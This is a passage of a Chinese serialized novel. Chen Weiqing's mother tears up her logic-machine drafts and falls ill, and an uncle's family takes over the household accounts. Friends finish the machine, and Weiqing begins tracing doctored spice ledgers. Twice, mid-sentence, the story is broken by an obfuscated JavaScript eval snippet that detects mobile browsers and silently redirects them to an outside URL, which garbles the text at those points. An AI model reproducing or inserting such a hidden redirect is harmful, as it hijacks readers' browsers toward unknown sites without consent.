母亲没有回答,只是从桌上拿起那一沓纸张——上头是她画的线路图、人物表、逻辑电路草稿,还有——最重要的——那一页“关于唐敬微”的分析。 “那么你现在想干什么呢?”母亲的声音仍旧温柔,但里面已经藏不住什么了,“做那些玩具?学那些没用的东西?最后像梁悯初一样——一事无成,老大不小,还孤身一人?” “那不是无用之学!”蔚青脱口而出,声音带了颤。 “可你用不上!”唐敬微回得极快,语速也陡然加快,“有些人懂戏文、诗歌,可以去当剧作家、当词人。而你爹陈仲云懂这些呢?他懂了又怎样?他只能当陈家的一个门牌,最后还要我给他撑起这家!你明白了吗?” “我……我不是……”蔚青的嗓音哑了,“我只是……想……” “想什么?”唐敬微盯住她,“想要选择?想要看看世 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“你……对他……那些心思…以为我不知道?”她语调极轻,几乎像是自言自语,她像是犹豫了一下,手中纸张轻轻一抖,“我都知道,你知不知道你这样……不对?” 蔚青的心口“咚”地一跳。 她嘴唇张了张,还没来得及说什么,就听见母亲一句接一句地砸下来。 “你还敢私底下去找他?”唐敬微狠狠地抓起她桌上那一叠逻辑讲义,“你知不知道什么叫礼义廉耻?” 这一句就像是重锤落下。蔚青呆住了,眼前一瞬发白。她忽然意识到,在她还在试图一点点理解母亲的结构与逻辑之前,母亲早就已经远比她想的要了解她了。 她脑子一片空白,她像是从山上滚落的石子,只能不停的坠落。她几乎是扑了过去,去抢母亲手里的那一沓纸。 “你放手!”母亲声音猛地提高,试图抽回那叠纸。 “你不能——”蔚青嘶声道,“那是我的东西——你不能这样!” 母亲手腕被她狠狠抓住,两人都没有退让。 “我不是……”蔚青眼神混乱,喘得几乎站不住,说出的话也开始变得毫无意义,“我不是要……我只是……” “你只是?”母亲眼中露出某种带着痛苦的清明,“‘如果你必须违背某些原则才能完成它,你会接受吗?’、‘你要做的这件事,会被你的家人所接受吗?’……你到底要做什么?把我们陈家卖给那些小报记者,好让你获得你想要的自由?” 蔚青彻底怔住了。 她张口结舌,终于意识到——母亲误会了她全部的动机。而更残忍的是,她根本无法、也不知道从哪里开始解释。 她已经不记得她那时做了、说了什么了,只记得她的情绪如洪水决堤。然后母亲唐敬微猛地甩开她的手,将那一沓纸张撕了个粉碎。 碎纸飞扬,落在空中,像是一场突如其来的雪。 它们飘落在桌上、书上、地毯上,落在她们之间,从未如此鲜明地、不可逆地,划出一条清晰的界限。 26. 百足之虫 天刚蒙蒙亮,陈蔚青醒来时,窗外正下着一场极细极冷的雨。不是春雨该有的模样,却也不再属于冬。她盯着天花板发了会儿呆,像是还没从昨日的撕纸声里彻底脱身。 母亲病倒了。 那夜的争执像是摔碎了一整个世界。纸张落地的声音犹在耳边,母亲在几天后后高烧不退,彻夜呕吐,最终在一个清晨被医生诊断为“积劳成疾,情绪刺激过重,需静养”。 陈蔚青第一次站在母亲床边喂药时,她几乎不敢伸手。母亲闭着眼没有看她,却也没有躲开——只是轻轻皱了皱眉,像平日里对一则不合时宜的传闻的反应。 自那日起,她便不曾再出过陈宅。 起初,谁也没有明说她被“禁足”了,连母亲也只是沉默。但她很快就意识到,无论她走到哪,仆人都小心翼翼地注视她;她写的信、想寄的东西,也总莫名地“晚一天再送”。 但其实没人阻止她,她只是不想再出去了。她的整个世界像被收紧了。她也不挣扎,只是沉下去了——像落在水底一块安静的石头。 她不再去锅炉房,也不再出现在女中的自习教室里,更不会再去敲响梁悯初的门,笑着叫他梁老师。日子变得安静、重复,像一根被人抽空了墨水的笔,书写着无声的日常。她几乎整日守在母亲房中,帮忙换汤药,熬粥喂水,看护夜间的发热与咳嗽。 夜晚成了她唯一属于自己的时间。 她会趁灯火将熄、仆人打盹的片刻,在房里悄悄点起一盏小油灯,捧着那摞始终藏在抽屉最底层的稿纸,把那些被撕掉的重新写一遍,然后她把最后的两个问题补齐,最后把她苦思了一个冬天的逻辑计算拼上了最后一块拼图。 “如果这件事永远不会被承认,你还会去做吗?” “你愿意为这件事隐瞒你真正的想法吗?” 她把那些逻辑一遍又一遍地推演、计算,像是在与一个沉默的朋友对话。但她却迟迟没有将它带出家门。不是因为恐惧,而是一种不明就里的犹豫——她无法判断这机器该归于哪种世界。是属于街头胡同与锅炉房?还是属于金碧辉煌的陈宅与沈宅?又或是就永远藏在纸堆与她心里就好。 黎婉芝来过几次。 她还是像以前那样会笑,会说“我又逃了一节法文课来”,但也明显收敛了许多。在陈宅里,她们不再高声笑闹,不敢手挽手走在走廊上。她甚至不进蔚青房间,只在客厅坐一会儿,聊聊大家的近况。 有天婉芝无意中瞥见压在书页下的一角的稿纸,问:“你还在做那个?”她只是点点头,却下意识将图纸收好。 她不知道为什么不把它交给婉芝,然后沈时砚他们就能完成整个机器了。 也许因为母亲还病着,也许因为家中风声太紧,也许,她自己也说不出原因。 有时候她深夜坐在床边,会想起锅炉房里那个光影交错的角落,想起罗简试着写下她人生中第一篇“文章”,想起她问:“如果我写的不好呢?”而她只说了:“你可以先试着把它写完。” 那时她狂妄到以为自己能给出所有答案。 而现在她开始怀疑:自己是不是真的有那个资格。 陈家的气氛也变了。 父亲白天在母亲床边安静坐着,夜里却独自一人写信、回帖、会客。他在努力补上原本属于母亲那份的“决断”。 二伯陈叔云一家从北方搬回了南州,说是为了照顾长嫂,实际上掌管了不少母亲生前极为在意的账目。堂兄陈闻礼也开始频繁出入账房,每一次经过她房间,都会略略收敛表情,像是在与一位“不再涉事”的亲人保持应有距离。 她心里明白,母亲说的那件事——陈家的祖业最终会被二伯一家抢回去,那件事终究是发生了。 她还记得母亲昏睡中那天夜里,一声不甚清晰的呓语。 她说:“……别怕,蔚青。” 那是蔚青第一次听见母亲在梦里说出“怕”字。她想,母亲也曾是会怕的,只是她从不让人看见罢了。 那夜,她没有再去点灯,也没有打开抽屉,只是靠在椅背上坐了很久,直到晨光慢慢把她包围。 她不知道黎婉芝什么时候会再来,也不知道自己和那台机器什么时候才会被“允许”出门。她只知道,自己正在一个缓慢而漫长的黄昏里,看着太阳慢慢落下。 后来雨终于停在了那天晚上,天没黑透,风却大得出奇。 夜已深,窗外的雨声刚停,还带点淅淅沥沥。陈蔚青靠在桌边,一手撑着额角,已经坐得久了,背都僵了。她靠在窗前,书页在桌上微微翻动,像是风中不安的呼吸。屋里静得出奇,母亲的房间透出微光,药壶的气息混着草味悄悄漫开。 忽然,一阵极轻的唱声从窗外的远处飘来。 “我本是卧龙岗散淡的人……” 那声音极低,像是有人刻意压着嗓子唱,带着夜雨打湿瓦片的潮意,又带着一点旧时戏园子的腔调。 她心头一跳。 是《空城计》。那段开头太熟了,还是老生调门——不是戏台上的敲锣打鼓那种热闹,而是清冷的单嗓,像是从某个旧年代飘过来的叹息: “因天命为蜀汉驱除乱臣……” 她猛地推开窗子。 雨夜的冷气一下扑了进来,她披了件外衣,探头望下去。那里果然站着一个人,一身灰布短褂,头发有些湿了,靠着墙根正低低唱着。月色映不清面容,但那嗓音她绝不会认错。 “罗炽南……”她喃喃念了一句。 像是被她的声音惊动,他抬头望向二楼的窗口,一句尾音刚好落下:“你来得正是时候——” 他没再唱下去,只是抬头冲她笑了笑,语气带着点不合时宜的轻快,隔着风对她说:“大小姐,还敢不敢像以前那样跳下来?” 她看了一眼脚边那扇熟悉的窗棂,又看了看站在楼下的罗炽南,她曾经在这里像只鸟儿一样一跃而下,然后扑进罗简的怀里。 “……不敢了。”她这次回答,声音很低,像被风吹散了,“我大概是胆小鬼吧。” 风吹乱她鬓边的发,她没压下去,就那么任由它在夜色里轻轻晃着。 楼下的罗炽南静了一会儿,忽然说:“你知道吗,我小时候,很小的时候,也住过这样的房子。” 蔚青一愣。 他继续说了下去,语气慢得像在剥一颗很旧的果子,露出里面带涩的核。 “我那时候娘还在,没去世之前,在这种宅子里当女佣。我跟着她,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576635|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上在柴房打地铺。房檐上有灯,但从来不会照到我们。白天她进主屋干活,我就坐在后院台阶上,一动不动。” “你……那时几岁?”蔚青轻声问,像是顺着他的节奏走进去,不知不觉。 “可能四岁,也可能快五岁吧,后来就不记得了。”他低低笑了一声,“反正那时候我总觉得,屋子里的灯光是给‘人’准备的,像我们这种,跟他们不一样。” 她喉头动了动,想说些什么,却又说不出。 他像是也知道她想安慰,笑了一下,没给她这个机会:“后来我才明白,没什么不一样的。大家都一样,活得人不人鬼不鬼。” 风声突然大了一些,他提高了音量,像是要压过什么。 “那句话怎么说来着……百足之虫,死而不僵。那些人,在我们这种人身上找人的感觉。活得像行尸走肉,还自以为高贵。我娘那时年纪就跟我现在差不多,被他们家那位老爷,六十多岁了一个半截身子进了棺材的男人——天天揩油。主家小少爷生日不吃面特意改吃昂贵的洋蛋糕,我被安排站在他旁边陪着笑,就是为了让他从小知道,什么叫高人一等。” 蔚青的手紧紧攥住了窗沿,一句没头没尾的话不由自主地从喉咙里溢出来:“对不起…” 他干笑了两声:“大小姐,又不是你不让我吃蛋糕,你道什么歉?” “我那时不懂,只觉得他们生来就跟我们不一样。但后来我想通了——都一样。你看,不同的,是你。”他继续说。 他抬起头,语气里忽然没了咬牙切齿的狠,只有一丝温柔的不可思议:“你,陈蔚青。你和我们,和他们,都不一样。” 她一下子没忍住,眼泪像断了线的珠子落了下来,她着急忙慌地用手背抹去。 她咬着牙,勉强笑了一下:“哪能啊?你别恭维我了。” “别,谁恭维你了。”罗炽南笑了笑,声音却有点发涩。 她转身回了桌边,抽屉一拉,拿出那一沓被她反复看过无数遍的图纸、草稿、推理——她沉默地走回窗边,深吸一口气,把那一叠东西扔了下去。 风把纸张翻起一个小弧,准确落入他怀里。 “你和沈时砚不是一直等这个?”她的声音轻飘飘的,却不容抗拒,“快去当工头吧。带你妹妹过上好日子。” 他接住那叠纸,一脸狐疑:“这是什么?” “她不是想演电影,当明星吗?这是我能给的。”她顿了顿,又轻轻地说,“还有,她写字是我教的,可不许忘了我功劳。” “是了是了。”罗炽南笑了,笑得眼角带了点水光,他小心把那一叠纸收进怀里,忽然拱手抱拳,退了半步,转身走了,他边走边唱,似是有意唱给陈蔚青听的: “……赤条条来去无牵挂。那里讨烟蓑雨笠卷单行?一任俺芒鞋破钵随缘化!…… 他往巷口走去,身影被街角一盏迟迟未灭的灯照得长长的,在墙上投下一个模糊的人形,像是要融进雨后的夜风里。 陈蔚青没有叫住他。她靠着窗棂,风还在吹,她却忽然觉得自己像一口密封的瓶子,终于碎开了。 她终于哭了出来。没有声响,只是眼泪一滴一滴地落下来,仿佛整个春天都从她眼里流出去。 27. 告别 天色还没大亮,院子里的石榴树已悄悄冒出几簇新绿,枝头挂着昨夜的残雨,在风中微微颤着。春天将尽,空气中却带着些未说出口的湿热,像一场将近未近的夏日雷阵。 陈蔚青推开窗,屋外的光薄如蝉翼,照进来时落在书桌的草稿上,纸角微卷。她坐在床边,披着一件旧外衣,眼神仍有些空。自母亲病倒以来,她已经许久没有走出这个房间。 楼下传来细碎的脚步声,不再是女仆,而是皮鞋踏在木地板上带出的重响。那是堂兄陈闻礼。他近来出入账房的频率高得惊人,连管家都学会了在他面前低头应答。她记得前日他路过她门前时脚步稍顿,似是要敲门,却又什么都没做。 有人轻敲门,是仆人,语气一如既往地温顺:“小姐,陈先生吩咐,今早请您去前厅一趟,说是有客来访。” 她怔了一下,随即起身。衣橱里的衣裳大多已经褪了色,母亲不在,她也懒得再去搭配。她随手拣了一件藏青色旗袍,披了件米白外套,简单梳了头,推门下楼。 前厅的光比她想象中明亮,祖母留下的鎏金花屏被擦得一尘不染。客已在座,正是她的那刚刚从北方回南州的二伯陈叔云一家人。 他们坐在母亲惯常的位置上,茶壶旁是一本打开的账册。她走进去的那一刻,闻礼正低头写字,二伯则笑着抬起头:“蔚青,好些天不见了,气色看起来倒是好多了。” 她点头,规矩行礼:“叔伯早。” 二人交换了一个意味不明的眼神。陈闻礼淡淡地开口:“父亲说,既然婶婶身子不好,你这些日子在宅中也清闲,不如来账房帮着理理些旧账。” 话语听起来是好意,却一句一个“婶婶”“宅中”“清闲”,像是把她从“女主人之女”退回成了“客人之女”。 陈蔚青没有立刻回话。 她站在那儿,望着二人,忽然生出一种恍如隔世的错觉。那是她从未设想过的一幕:曾经母亲掌控的这间厅堂,如今正一点一点地,从她脚下滑走。 陈宅的饭厅很大,窗格极多,春末夏初的天光透进来,落在每个人脸上都有些浮动不定的光影。这日傍晚,连窗棂都仿佛比以往窄了一些,空气里沉着一种谁也不愿先开的沉默。 叔父陈叔云坐在主位,一身洗得发白的深色长衫,领口扣得严整。他年纪不算大,讲话却总带着一种中年人的审慎和分寸。饭桌另一边,父亲像是习惯了此刻的位置,低声寒暄,时不时点头附和,仿佛这不是他家的家事,而是别人的茶局。 唐敬微坐在椅子上,她用力挺直腰,就像平日那样——可谁都知道她现在病的只剩个空壳,她面色苍白得可怕,一口饭未动。她几乎不说话,偶尔抬眼看人,也只是看一瞬,便又垂下眼帘。气氛像她一样薄弱而危险,像是一碰就碎的瓷盏。 蔚青坐得极靠边,被安排在饭桌最末尾的位置。她明白这不是偶然——不是因为“位分”,而是因为她现在“方便沉默”。 她低头吃饭,一直没说话。直到听见对面堂兄陈闻礼放下筷子,用略带试探的口气开口:“这几本账册之前是伯母在管的,我理了理,是不是可以让我暂时帮忙看着?有些人手和对账流程我还不熟,管家那边可以让他多讲讲。” 他说话极客气,句句在礼数之中,可听在耳里,却字字是布局。 父亲“嗯”了一声,又看向母亲。唐敬微没有作声,手指却在桌下轻轻动了一下。 “家里的账这些年是怎么分的,你也都知道。”父亲陪笑道,“既然你伯母身体不好,闻礼这边就先帮着盯盯,也算是分担。” “这几日账房里人事变动也大,有几位跟着伯母多年的先生想告老。”陈闻礼话音一转,又淡淡道,“我想着是不是趁这机会,也该梳理一下人员。新账法也该推一推了。” 蔚青一听,终于忍不住抬头,“可账房那几位是母亲当年亲自挑的,怎能轻易——” “蔚青。”叔父陈叔云忽然笑了一声,声音里却没有丝毫笑意,“你多半不太懂这些。” 那句话既不重也不急,可就在蔚青开口的一瞬间堵了她的气。 他笑着说完这句,又继续拨弄碗中的饭粒,像是刚才不过是提了句天气。饭桌上的父亲也只是讪讪笑了笑,未置可否。 蔚青咽下口中的饭,竟觉得那饭像是生的。她张张嘴,却没再开口。 晚饭后,天色将黑未黑,风却大得出奇。檐角的风铃撞得叮叮当当,像是有人轻轻敲打着沉默的时光。 晚饭后的院子里空无一人,陈蔚青独自沿着青石小径慢慢走着。她走得很慢,每一步都像是在试图从方才的饭桌上走出来,从那个她被安排在最末席、沉默无声的角落里走出来。 她还记得饭桌上,二伯陈叔云端坐主位,父亲在旁边笑着应对,母亲沉默,虚弱地支撑着,一言不发。陈闻礼低声与管家谈着账册、人事、家资,每一句都不动声色地越过了她。她只是刚刚开口说了几句想法,陈叔云只是笑了一笑,说:“你多半不太懂这些。”然后一筷子夹起菜,像是挡住了所有回音。 那句话像是陈叔云随手掸落的一粒灰尘,可就那样不偏不倚地落在她心口。 她正走到月门下时,一道轻盈的身影出现在廊下。 “我来得不是时候吧?”黎婉芝抱着一摞书,站在微光中,像从旧日的梦里走出来,“本来想上楼找你,怕惊着伯母,就等等看。” 蔚青看着她,没有立刻说话。许久,她忽然 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蔚青一愣,那双眼睛里像一下子有了光。 “真的?” “当然真的。”婉芝笑着点头,“他说你给的那些东西太复杂,连他也研究了好几天。现在慢慢拼出来了——不然你以为他天天窝在工厂是干嘛呢?” 蔚青眼眶一热,笑着握住婉芝的手:“幸好有你。” 她声音不大,却一字一句:“只要你在,我就不会真的觉得自己是个彻底失败的人。” “人不是生下来就等着认输的,对吧?……不是生下来就等着被打倒的。只要还能站起来,就还可以再来一遍。” 婉芝一反常态的没有接话,只是看着她,嘴角的笑微微顿了一下。 “蔚青,”她像是迟疑了很久,终于低声说,“我要走了。” “……什么?”蔚青仿佛没听清。 “我要去法国。你还记得吧?月底就走。” 风忽然停了一拍。 蔚青看着她,过了很久,嘴角慢慢扯出一个笑来:“当然记得……恭喜你。” “祝你一路顺风。” 她的声音轻得像羽毛,微微颤着。 婉芝握紧了她的手,像小时候在偷偷拉她从家里跑出来那样。 “你要照顾好自己。”婉芝说,“陈蔚青,你比你以为的要强得多。” 她没有回答,只是轻轻点了点头。眼睛里有光,一如从前,但那光不是太阳,而是冬天夜里屋檐下那一点点不灭的火。 风又吹起来了,远处是江上客船的鸣笛声,像是一场迟来的告别。 28. 去做 盛夏的阳光落在陈宅的回廊上,连瓦缝间都透出一丝不耐烦的热意。蝉声在枝头连绵不绝,像是一种不眠的提醒。 叔父已经接管陈家的生意个把月了,看上去一切都四平八稳,但陈蔚青知道他在尝试用一切手段抹去母亲的痕迹。 黎婉芝也已离开多时。前些日子,她才收到婉芝从法国寄来的第一封信,纸张上还带着船舱潮湿的痕迹。那信是婉芝刚刚下船时写的,字里行间都是对未来的好奇与雀跃,而她读它时,已与那些情绪隔了好几个缓慢而沉闷的月亮。 此刻,陈蔚青坐在母亲床边,掌心托着一只瓷碗,低头轻吹着药面浮起的热气。唐敬微斜倚在枕上,脸色依旧苍白,却不再像早前那样严重。窗外的风掀起窗纱,日光斑驳地照进来,她缓缓睁眼,凝视着女儿,忽然开口:“你不该一直围着我转。” 蔚青一愣,像是没有反应过来。她将瓷碗搁在一旁,自嘲地笑了一下:“我能有什么别的事呢?” 母亲望着她,那眼神没有丝毫波澜,却比病重之前更有神:“你自己知道的。” 蔚青低下头,几乎微不可见地点了点头。 陈蔚青再次踏进锅炉房时,阳光正从高处斜斜落下,透过老旧屋顶的木格和缝隙,将光影斑驳地洒在地板上。 空气中仍带着潮热的铁锈味,还有些许焦油混着煤灰的味道,像一封尚未寄出的旧信,满满当当写着她从前的日子。她走过那张她曾经用的桌子,手掌在栏杆上一滑,落下一层浮灰。 机器就静静地躺在那里。 那机器比她想象的大一圈,占了锅炉房角落的整整一张操作台那么宽。外壳是浅褐色的木纹,有些地方还能看到钉子钉入时的痕迹。上面排列着整整齐齐的一排按键。靠近输出区的,是一台改造过的打字机组件:击键杆早已不再用于人手敲击,而是接入了一组经过设计的电磁推杆,每根连杆上都编号清晰,只待信号触发。中央的逻辑电路由一整块玻璃板盖住,底下密密麻麻地排列着金属触片和小型继电开关,像是某种静静潜伏的经络。旁边的轨道上放着一张可能是测试用的打孔的长条纸带。 “每张卡的打孔代表一个布尔变项的取值,按你设定的第几个问题,它就会运算逻辑电路,打字模块来输出回答。”沈时砚突然出现在她身后,声音里不带一丝惊讶,像是早就知道她会来。 她转过身,看到沈时砚倚在墙边,一身皱巴巴的白衬衣,袖口卷到手肘,发尾被汗水打湿。他眼神中带着倦意,但更多的是一种久别重逢的放心。 陈蔚青忽然觉得喉咙有点发紧:“这是…成品?” “当然,我们的成品。”他笑了一下,又低头看着那台机器,眼神像在看一件活物,“我们测试过几轮了,按你设计的输入输出逻辑,能连着运转不出错三十次。你想不到吧,它真能‘回答问题’。” 她没说话,只走过去,轻轻抚过机器的表面。那种沉甸甸的存在感,让她忽然像是被什么稳稳接住了。 身后忽然传来一阵急促的脚步声。 “蔚青姐!!” 一个声音带着夏日的风扑了进来,下一刻,罗简扑进她怀里,整个人挂在她肩膀上,笑得像刚从阳光下跳进水里。 “你终于回来了!你要是再不来,我就把这台机器当枕头睡了!”她笑嘻嘻地说,身上带着新洗棉布的香气。 陈蔚青被她撞得一个趔趄,却没推开,只是愣愣地笑着回抱了一下。她已经太久没这样被人毫无保留地亲近过了。 “我还在练字哦,”罗简骄傲地抬起下巴,眼睛亮晶晶的,“我都快抄完一整本字了!哥哥说,我要再努力点,就可以考科举当状元了!” “那你不是得等清朝回来吗?”沈时砚在旁边打趣。 罗简撇撇嘴:“他胡说八道,我才不考那个,我要当记者!你们都做机器,我就用它写报道,把你们的发明登上报纸!”说完,她还挥舞了一下手臂,像是在街头演讲。 这时,罗炽南也走进来了,倚着门边,没说话,只是低头看着那台机器,嘴角淡淡地扬起一点弧度。 他终于开口,声音不轻不重,“你们真做出来了。” 陈蔚青看着他,眨了眨眼,纠正他,语气很平静:“我们。” 罗炽南笑着“哼”了一声,没回答,只是抬脚走到机器旁边,像在打量一头沉睡的兽。他伸出手指在木壳表面轻敲了一下,那声“咚”的回响清脆又厚重。 “挺像回事。”他说,“我们——还挺厉害。” 锅炉房里安静了一瞬,只有窗外蝉声不依不饶地响着。陈蔚青环视着他们三人,觉得像做梦一样。这一刻,她突然意识到,那些散乱的拼图终于拼成了完整的一角,而她正站在图画的正中央。 “谢谢你们。”她轻声说,声音不大,却稳稳落在每个人耳里。 这时,机器的打字组件“哒”的一声轻响,像是无声参与了他们的对话。 纸带还在缓缓吐出最后一段空白,沈时砚低头将它抽出,抖了抖,递到她面前:“你看看,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586907|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的成果。” 陈蔚青接过来,只见纸上用打字机印着一行字,字迹略显歪斜,却清晰有力——只有两个字: “去做。” 她盯着那两个字愣了一下,片刻后忍不住轻轻笑出声来。 那是她亲手设计的逻辑结构,她当然知道它会给出怎样的回答。可当那答案真正从一台机器里跳出来,冷冰冰地落在纸面上时,却像是某种突如其来的允诺——简单、直接,却掷地有声。 “你们……问了什么?”她抬起头,眼神在沈时砚和罗简之间游移。 “我问——要不要把蔚青姐从宅子里抓出来!”罗简抢先开口,笑得一脸调皮,在故意逗她。 沈时砚在一旁轻笑:“别听她瞎说。只是测试逻辑模块而已。” 陈蔚青垂下眼,指腹轻轻摩挲着纸带边缘,纸上那两个字还带着微温。她没立刻说话,良久,她低声笑了一下,仿佛只是自言自语:“它好像……真的在回应我一样。” “……对了,”她低头思索,眉心微微蹙起,像是有个念头刚刚浮现,尚未成形,“账房的张伯,以前跟你们沈家来往密切…你最近有见过吗?” “张伯?没有啊。”沈时砚回忆了一下,摇头,“你母亲病倒以后,好几个老先生都辞了。他好像是最早一个,走得很安静。” “我记得。”她轻声说,手指无意识地捻着纸带边缘,“但他是母亲亲自留下的第一个人。” 这句话一出口,她眼里像是悄悄浮现了一丝清晰的焦点。沈时砚闻言,目光一动,像是隐约捕捉到了什么,迟疑片刻,问:“你想——?” 她没有立刻回答,只是眼神在某个点上定住了一会儿,然后缓缓开口,声音低得像是刚刚落地的念头:“母亲病后,家里的许多人不是主动离开的,而是被请走的、被推走的。” 她说得极慢,像是在将脑海里那些断裂的线一点点接上:“可他们不是无用了,只是没有人愿意再去听他们说话。” 她抬起头,眼里有一丝极浅的光,像是刚刚在水下睁开眼的人,看到了什么:“那我去听。” “我一个个找回来。”她的语气已经稳了下来,仿佛某种尚未命名的意志正在她胸口扎根。 “既然他们觉得我不懂,”她说,“那我就请母亲留下的每一个旧人,重新教我一遍。” “从账开始,从人开始。”她望向窗外,蝉声不止,天色正浓,光线热烈而清晰。 “从我母亲曾经站过的位置,重新站一次。” 29. 南昌隆 仲夏时节,陈宅后院的紫薇花开得正浓,几枝探出墙头,在风里晃得恍恍惚惚,像是有什么沉默的过往,正悄悄从树影间露出头来。 这几日,陈蔚青频繁外出,一日走访一人——不是登门寒暄亲戚,也不是往来交际宾客,而是些曾在陈家账房、货行中做了几十年事的老人。有人早已离职,有人如今只在外间帮人算个小账,甚至还有人连家人都不太愿意让他们出门说话。但蔚青找上门去时,他们全都请她进了屋。 她没有声张,更未告诉母亲。只对旁人说,是想把旧账理理清楚,权当积累经验,以备来日之需。 这日,她坐在一处屋檐低矮的茶棚下,对面是年近六旬、眉眼仍算清朗的账房先生邱伯。他曾是母亲麾下账房的头一把手,如今守着街口一间杂货铺,看账理货,话不多。 “我记得你,”邱伯捧着茶盏,眼神透过热气落在她脸上,带着一点年长者惯有的慈祥回忆,“你小时候总爱蹲我桌边,写得快一点你还要跟着数。那会儿你娘还打趣说,‘若是个儿子就好了’。” “那时候我也以为,只有儿子才可以看账。”蔚青淡淡一笑,抬起眼,“但现在想想,也没什么道理。” 邱伯一怔,像没料到她会这么接,笑容顿了顿。 “你这次来,是想知道你母亲当年怎么理账的?”他语气变得审慎,像是在探她口风。 “我想知道的,不止是她怎么理账。”蔚青声音不高,却清晰,“我也想知道,那些账,现在是不是还跟她那时候一样。” 邱伯手指顿了顿,盯着她看了几秒,才慢慢放下茶盏:“这些年换过几轮账本。说是太旧、不规范,得统一誊抄。账是那些账,人嘛……也就听吩咐办事。” 蔚青看着他,语气不动声色:“可你记得原来的账长什么样,对吧?” 这一次,对方没立刻回答。两人之间沉默了一会儿,才听见他低声说:“有人记得。有一回,有人悄悄问了,说誊得不对。你父亲那时候说他不管这些,要我们也别声张。后来,那人就被调去了外头打杂——你也知道,‘调去别处’是什么意思。” “然后没人再问了?”她问。 他望着她,不再用年长者的口气,缓缓点头:“没人敢问。” 蔚青低头看了看自己手边的笔记本,随手将它合上,然后抬头看向他,眼神不再回避:“那我就去问。” 邱伯盯着她看了一会儿,终究还是轻轻摇了摇头,声音低下去了一点,像是喃喃自语,又像是在提醒她:“你问了,你做不了什么,有何用?” 风穿过茶棚,卷起她膝上的纸页角,她没立刻回答,只是静静地站起身,动作轻得几乎没有声音。脚下是晒裂的青石地砖,阳光斜斜洒在她半边脸上,将她的神色衬得沉而不暗。 她笑了一下,眼角弯起一点微不可察的弧度,没有言语,也没看他,仿佛只是看着前方,却又像是在对他说。 那笑容里不带半点鲁莽和倔强,只是一种令人无从反驳的笃定——一种“您看好了吧”的静默挑衅。 她转身走出两步,刚踏出门槛,身后忽然传来邱伯的声音:“其实你和她挺像的。” 陈蔚青脚步一顿。 “敬微,你母亲。”他慢吞吞地说,像是在往一处被藏得很久的地方投石子,那句话普通一声,落下,溅起一点点水花,“不知道为什么你们母女俩都喜欢说你们不像。” 她没有回头,只轻轻低了一下头,像是点头,又像是笑了一下。 然后她走了,身影在夏日阳光里被拉得长长的,某种已然注定的对抗,正一步一步走向它的起点。 陈蔚青坐在账房西窗下的长案前,蝉声自窗外穿进来,像是一根细细的针线,从她的耳膜慢慢穿入脑中,一下、一下,绣着一种沉默又逼人的刺痛。 账本摊在眼前,她拿着笔记本。手里握着笔,却迟迟没有落下。 这几日,她说是要帮母亲分忧,主动开口接过了几项月度账目的整理。她语气不紧不慢,像是随口一提。堂兄陈闻礼当时愣了一瞬,随后含笑点头:“蔚青有心自然好,若能帮上忙,是再好不过。” 说着话时,他的眼神像一面上了漆的铜镜,看得见人影,却映不出心。 第一本翻开,是香料的入库账。 她本没想着从这本开始,毕竟香料种类太杂、核算麻烦,不如从工本开支下手来得清楚。可那日随手翻着,指尖却在“丁香”那一栏轻轻一顿。 入库:一千二百斤。 出货:一千一百五十斤。 库存结余:五十斤。 她眉头一挑,本没觉得异样。五十斤,做香料生意,这种浮动很正常。 可等她翻到上月时,手指忽然慢了半拍。 入库:一千三百斤。 出货:一千二百五十斤。 库存结余:五十斤。 她盯着那“五十”看了一瞬,没说什么,又往前翻了三页、五页、七页——每一页都像按着同一个模子刻出来似的:损耗固定为五十斤,好几个月,无一差错。 她的手顿在账页上,纸页边缘略有卷起,刮过指腹,像是细小的刺。 那一刻,她听见自己心里“咯噔”一声,仿佛某个原本悬而未决的东西,忽然重重落地。 忽然,一道熟悉的脚步声响起。 “你在翻哪一本?”堂兄的声音从门口传来,温和,规矩。 她回过头,声音很轻:“香料入账的那几本。” 陈闻礼的步子顿了一下,继而又走近几步,站到她身后。 他低头扫了一眼账册,语气不变:“这些账都是统一过的,新写的,方便对账。你若是想看香料的事,不如先从月结和往来账看起,入库那几本太旧了。” “可是这些是你亲手交给我的。”她抬头看他,语气淡得像是在陈述天气。 “是啊,我想着你也不会细看这些。”他笑了一下,“不过也好,随你。” 说完这句,他便不再多言,只是站在她身后,目光落在纸页上。 他不会真的阻止她。她是陈家小姐,她不是账房学徒,他既不能赶她走,也不能把话说死。 ——但这就说明,这个账本,真的有问题。 她忽然想起十几年前的某个下午。 她还太小,蹲在母亲身边看账,刚刚学会了数字。屋里熏着龙脑香,烟雾缭绕。她问母亲:“为什么这些数字总是不一样呢?” 唐敬微放下笔,笑着说:“这种东西哪能每次都一样了?如果每次都一样,那不是账,是诗,写给鬼看的。” 那时她不懂,只觉得好玩。而现在,那句话像是一把锈了的钥匙,咔哒一声,拧开了她眼前这本账册的锁。 她好像又闻到龙脑香的味道,低头,把那一串连着几月的“五十”抄进笔记本里,一笔一画,字迹沉稳。 她重新抬头。继续翻阅账本。 本月,账面写:入库一千二百斤。 仓库的香料记录加起来,实际到货却只有一千一百二十斤。 差的80斤,消失无声。 她接着查调拨单,发现这批“补上”的80斤,来源是一个她从未见过的名字:“南昌隆贸易行”。 出货单——客户收到的是“特选A等新丁香”,单价比往常贵了整整一成。 